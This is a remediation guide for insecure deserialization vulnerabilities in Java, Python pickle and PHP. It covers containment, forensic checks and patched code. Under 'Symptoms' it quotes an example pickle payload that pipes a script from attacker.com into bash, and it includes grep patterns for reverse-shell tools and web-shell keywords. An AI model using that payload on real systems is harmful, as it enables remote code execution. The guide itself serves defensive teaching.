Introduction

Insecure deserialization occurs when an application deserializes attacker-controlled data without proper validation. Attackers craft serialized objects that, when deserialized, execute arbitrary code through "gadget chains" - sequences of classes whose constructors or methods perform dangerous operations. In Java, this commonly involves CommonsCollections, Spring, or JRE gadget chains. In Python, it involves pickle deserialization. The impact is typically remote code execution (RCE).

Symptoms

  • Application logs show unexpected class instantiation during deserialization:
  • `
  • java.io.ObjectInputStream.readObject()
  • Exception in thread "main" java.lang.ClassCastException:
  • org.apache.commons.collections.functors.InvokerTransformer cannot be cast to...
  • `
  • Or in Python (pickle):
  • ```python
  • pickle.loads(base64.b64decode(request.form['data']))
  • # Attacker sends:
  • # cos\nsystem\n(S'curl http://attacker.com/shell.sh | bash'\ntR.
  • `
  • Web shell or reverse shell detected on the server:
  • ```bash
  • # Check for unexpected processes
  • ps aux | grep -E 'bash|sh|nc|ncat|python.*socket'
  • `
  • Unexpected outbound connections to attacker infrastructure:
  • ```bash
  • ss -tunap | grep ESTABLISHED
  • `

Common Causes

  • Java ObjectInputStream.readObject() on untrusted input
  • Python pickle.loads() on user-controlled data
  • PHP unserialize() on request parameters
  • YAML deserialization with unsafe loaders
  • JSON deserialization with type information in the payload (e.g., Jackson enableDefaultTyping)

Step-by-Step Fix

Phase 1: Contain the Compromise

  1. 1.Isolate the affected server:
  2. 2.```bash
  3. 3.# Block all outbound traffic except to known management IPs
  4. 4.sudo iptables -F
  5. 5.sudo iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT
  6. 6.sudo iptables -A OUTPUT -d <management-ip> -j ACCEPT
  7. 7.sudo iptables -A OUTPUT -j DROP

# Or at the cloud level, remove the instance from the load balancer aws elbv2 deregister-targets \ --target-group-arn arn:aws:elasticloadbalancing:... \ --targets Id=i-abc123 ```

  1. 1.Identify the attack vector and payload:
  2. 2.```bash
  3. 3.# Check application logs for the deserialization call
  4. 4.grep -r "readObject|unserialize|pickle.loads|yaml.load" /var/log/app/

# Check for serialized data in request logs grep "rO0AB" /var/log/nginx/access.log # Java serialized (base64) grep "gASV" /var/log/nginx/access.log # Python pickle (base64)

# Check for web shells find /var/www -name "*.jsp" -newer /var/www/index.jsp 2>/dev/null find /var/www -name "*.php" -exec grep -l "eval|base64_decode|exec" {} \; ```

Phase 2: Assess the Damage

  1. 1.Check for persistence mechanisms:
  2. 2.```bash
  3. 3.# Check for new cron jobs
  4. 4.crontab -l
  5. 5.ls -la /etc/cron.d/
  6. 6.cat /etc/crontab

# Check for new SSH keys cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys

# Check for modified system binaries rpm -Va 2>/dev/null | grep -v "^..5" # Or with debsums: debsums -s 2>/dev/null

# Check for new systemd services systemctl list-units --type=service --state=running ls -lt /etc/systemd/system/ | head -20 ```

  1. 1.Check for data exfiltration:
  2. 2.```bash
  3. 3.# Check outbound data volume
  4. 4.sudo iptables -L OUTPUT -v -n

# Check database access logs grep "SELECT.*FROM.*users" /var/log/mysql/query.log grep "pg_dump|mysqldump" /var/log/auth.log

# Check for S3 data access (if AWS) aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \ --start-time "$(date -d '24 hours ago' --iso-8601=seconds)" ```

Phase 3: Patch the Vulnerability

  1. 1.Fix Java deserialization:
  2. 2.```java
  3. 3.// BEFORE (vulnerable)
  4. 4.ObjectInputStream ois = new ObjectInputStream(inputStream);
  5. 5.Object obj = ois.readObject(); // Executes arbitrary gadget chains

// AFTER - use a safe alternative // Option 1: Use JSON instead of Java serialization ObjectMapper mapper = new ObjectMapper(); MyData data = mapper.readValue(inputStream, MyData.class);

// Option 2: Use ObjectInputFilter (Java 9+) ObjectInputStream ois = new ObjectInputStream(inputStream); ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter( "com.myapp.allowed.*;!*" // Only allow specific packages )); Object obj = ois.readObject();

// Option 3: Use SerialKiller library SerialKiller killer = new SerialKiller(inputStream, "/etc/serialkiller.conf"); Object obj = killer.readObject(); ```

  1. 1.Fix Python pickle deserialization:
  2. 2.```python
  3. 3.# BEFORE (vulnerable)
  4. 4.import pickle
  5. 5.data = pickle.loads(user_input)

# AFTER - use safe alternatives import json data = json.loads(user_input)

# If you must deserialize Python objects, use a safe library: import marshal # Only for basic types, still not fully safe # Or use a schema-based approach: from dataclasses import dataclass import json

@dataclass class SafeData: name: str value: int

data = SafeData(**json.loads(user_input)) ```

  1. 1.Fix PHP unserialize:
  2. 2.```php
  3. 3.// BEFORE (vulnerable)
  4. 4.$data = unserialize($_POST['data']);

// AFTER - use JSON $data = json_decode($_POST['data'], true);

// If you must use unserialize, use allowed_classes $data = unserialize($_POST['data'], ['allowed_classes' => ['MyApp\SafeClass']]); ```

Prevention

  • Never deserialize untrusted data
  • Use safe data formats (JSON, XML with schema validation) instead of native serialization
  • Implement ObjectInputFilter for Java deserialization
  • Use HMAC signatures to verify serialized data integrity
  • Run deserialization in isolated/sandboxed environments
  • Deploy RASP (Runtime Application Self-Protection) to detect gadget chain execution
  • Regularly scan dependencies for known deserialization vulnerabilities